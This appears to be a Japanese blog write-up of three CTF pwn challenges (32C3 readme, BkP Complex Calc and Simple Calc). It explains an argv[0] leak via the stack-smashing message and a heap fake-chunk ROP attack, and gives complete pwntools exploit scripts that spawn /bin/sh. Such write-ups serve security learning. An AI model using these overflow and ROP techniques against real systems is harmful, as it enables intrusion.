pwn challenges list easy writeup その8
前回
[32c3 CTF 2015] pwn200 - readme
ELF 64-bit、動的リンク、SSPとNX有効。
$ file readme.bin readme.bin: ELF 64bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped $ checksec readme.bin [*] '/home/hnoson/ctf/32c3ctf/readme/readme.bin' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
デコンパイル結果
char flag[0x20] = "32C3_TheServerHasTheFlagHere..."; void _main() { char name[0x100]; printf("Hello!\nWhat's your name? "); gets(name); printf("Nice to meet you, %s.\nPlease overwrite the flag: "); for (int i = 0; i < 0x20; i++) { char c = getc(stdin); if (c == '\n') { memset(flag + i, 0, 0x20 - i); break; } flag[i] = c; } puts("Thank you, bye!"); } int main() { setbuf(stdout); _main(); return 0; }
flagはサーバのバイナリに埋め込まれているみたい。そしてスタックバッファオーバーフローを起こせる。
真っ先にkatagaitaictf勉強会であったargv[0]リークが思い浮かんだがstack smashを起こす前にflagが上書きされてしまう…結局わからずwriteupを読んだ。
x64の初期配置は0x400000になっている。
つまり今回のバイナリではflagが0x600d20
にあるが0x400d20
にもあることになる。知らなかった。
ということでスタックフレームの後ろの方にあるargvを0x400d20
に上書きすることで、SSPによるスタックバッファオーバーフロー検知のメッセージにflagが表示される。
argv[0]リークは簡単に言うとエラーメッセージ
*** stack smashing detected ***: ./readme.bin terminated
に出力されるファイル名がargv[0]から来ていることを利用してそこを上書きすることでメモリの値をリークするもの。
#!/usr/bin/env python from pwn import * if __name__ == '__main__': if len(sys.argv) == 1: s = process('./readme.bin') else: s = remote('localhost', 1234) flag_addr = 0x400d20 payload = '' payload += 'A' * 0x218 payload += p64(flag_addr) s.sendlineafter('name? ', payload) s.sendlineafter('flag: ', 'A') s.stream()
$ ./exploit.py [+] Starting local process './readme.bin': pid 20222 Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated [*] Process './readme.bin' stopped with exit code -6 (SIGABRT) (pid 20222)
ただしこれはローカルでしか動かない。socatを使って試してみるとリモートにエラー内容が出力されてしまう。
$ ./exploit.py remote [+] Opening connection to localhost on port 1234: Done Thank you, bye! [*] Closed connection to localhost port 1234
$ socat tcp-listen:1234,fork exec:./readme.bin,stderr *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
これは出力が/dev/ttyに流れてしまうからである。結論を言うと環境変数LIBC_FATAL_STDERR_
を設定することで標準エラーに出力され、socatのオプションにstderrが設定されていればflagを読むことができる。上の2つのリンクではlibcのソースコードを見ながら環境変数がどう使われるかを追っているので詳しいことはそちらを参照ください。
#!/usr/bin/env python from pwn import * if __name__ == '__main__': if len(sys.argv) == 1: s = process('./readme.bin') else: s = remote('localhost', 1234) flag_addr = 0x400d20 flag_addr_2 = 0x600d20 payload = '' payload += 'A' * 0x218 payload += p64(flag_addr) # argv payload += p64(0) payload += p64(flag_addr_2) # envp s.sendlineafter('name? ', payload) s.sendlineafter('flag: ', 'LIBC_FATAL_STDERR_=1') s.stream()
$ ./exploit.py remote [+] Opening connection to localhost on port 1234: Done Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated [*] Closed connection to localhost port 1234
[BkP CTF 2016] #13 complex calc - pwn5
ELF 64bit、静的リンク、SSP無効。
$ file complex_calc complex_calc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped $ checksec complex_calc [*] '/home/hnoson/ctf/bostonkeypartyctf/2016/complex_calc/complex_calc' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
始めに0x4~0xffの数字を入力し、その回数だけ計算を行えるプログラム。
$ ./complex_calc |#------------------------------------#| | Something Calculator | |#------------------------------------#| Expected number of calculations: 20 Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. => 1 Integer x: 100 Integer y: 200 Result for x + y is 300. Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. =>
計算結果をheap領域に記録していて、[5] Save and Exit.
を選択するとその計算結果がスタック領域にコピーされる(このときオーバーフローする)。その後、使っていたバッファをfreeする。しかしそのバッファへのポインタはオーバーフローによって上書きされてしまう。そこで、計算途中で使われている変数を組み合わせて偽のchunkを作り、それをfreeさせることでエラーを防ぐ。
計算に使う変数は以下のアドレスに格納されている。
x | y | result | |
---|---|---|---|
add | 0x6c4a80 | 0x6c4a84 | 0x6c4a88 |
div | 0x6c4a90 | 0x6c4a94 | 0x6c4a98 |
mul | 0x6c4aa0 | 0x6c4aa4 | 0x6c4aa8 |
sub | 0x6c4ab0 | 0x6c4ab4 | 0x6c4ab8 |
addのresultを0x21にし、mulのresultを0x21にして0x6c4a90をfreeさせればよい。数値の入力は(unsignedで)0x28以上のみ許さているが負の値をうまく使うことで0x21を作り出せる。
ここまででスタックバッファオーバーフローが行えるようになったのでROPでシェルを起動する。このバイナリは静的リンクなので十分なgadgetが揃っている。
#!/usr/bin/env python from pwn import * def calc(t, x, y): s.sendlineafter('=> ', str(t)) s.sendlineafter('x: ', str(x)) s.sendlineafter('y: ', str(y)) def push(val): calc(2, (val & 0xffffffff) + 0x28, 0x28) calc(2, (val >> 32) + 0x28, 0x28) if __name__ == '__main__': s = process('./complex_calc') elf = ELF('./complex_calc') s.sendlineafter('calculations: ', str(0xff)) pop_rdi = 0x401b73 pop_rsi = 0x401c87 pop_rdx = 0x437a85 pop_rax = 0x44db34 syscall = 0x4648e5 # pointer to fake chunk for i in range(9): push(0x6c4a90) # read(0, bss, 0x8) push(pop_rax) push(0) push(pop_rdi) push(0) push(pop_rsi) push(elf.bss(0x500)) push(pop_rdx) push(8) push(syscall) # execve("/bin/sh", NULL, NULL) push(pop_rax) push(0x3b) push(pop_rdi) push(elf.bss(0x500)) push(pop_rsi) push(0) push(pop_rdx) push(0) push(syscall) # create fake chunk calc(1, 0x28, -7) calc(3, -0x21, -1) s.sendlineafter('=> ', '5') s.send('/bin/sh\0') s.interactive()
[BkP CTF 2016] #2 Simple Calc - pwn5
Complex Calcとほぼ同じ。違いはfree。上がSimple Calcで下がComplex Calc
Simple Calcではfree(NULL)
に対しては何もしない(これが仕様通りの実装)。Complex Calcの時になんでfreeの入力にNULLが許されていないのかと思ったらそこが問題になっていたのか。解く順番間違えた。
exploitはComplex Calcと同じでも通る。
#!/usr/bin/env python from pwn import * def calc(t, x, y): s.sendlineafter('=> ', str(t)) s.sendlineafter('x: ', str(x)) s.sendlineafter('y: ', str(y)) def push(val): calc(2, (val & 0xffffffff) + 0x28, 0x28) calc(2, (val >> 32) + 0x28, 0x28) if __name__ == '__main__': s = process('./simple_calc') elf = ELF('./simple_calc') s.sendlineafter('calculations: ', str(0xff)) pop_rdi = 0x401b73 pop_rsi = 0x401c87 pop_rdx = 0x437a85 pop_rax = 0x44db34 syscall = 0x4648e5 for i in range(9): push(0) # read(0, bss, 0x8) push(pop_rax) push(0) push(pop_rdi) push(0) push(pop_rsi) push(elf.bss(0x500)) push(pop_rdx) push(8) push(syscall) # execve("/bin/sh", NULL, NULL) push(pop_rax) push(0x3b) push(pop_rdi) push(elf.bss(0x500)) push(pop_rsi) push(0) push(pop_rdx) push(0) push(syscall) s.sendlineafter('=> ', '5') s.send('/bin/sh\0') s.interactive()
続き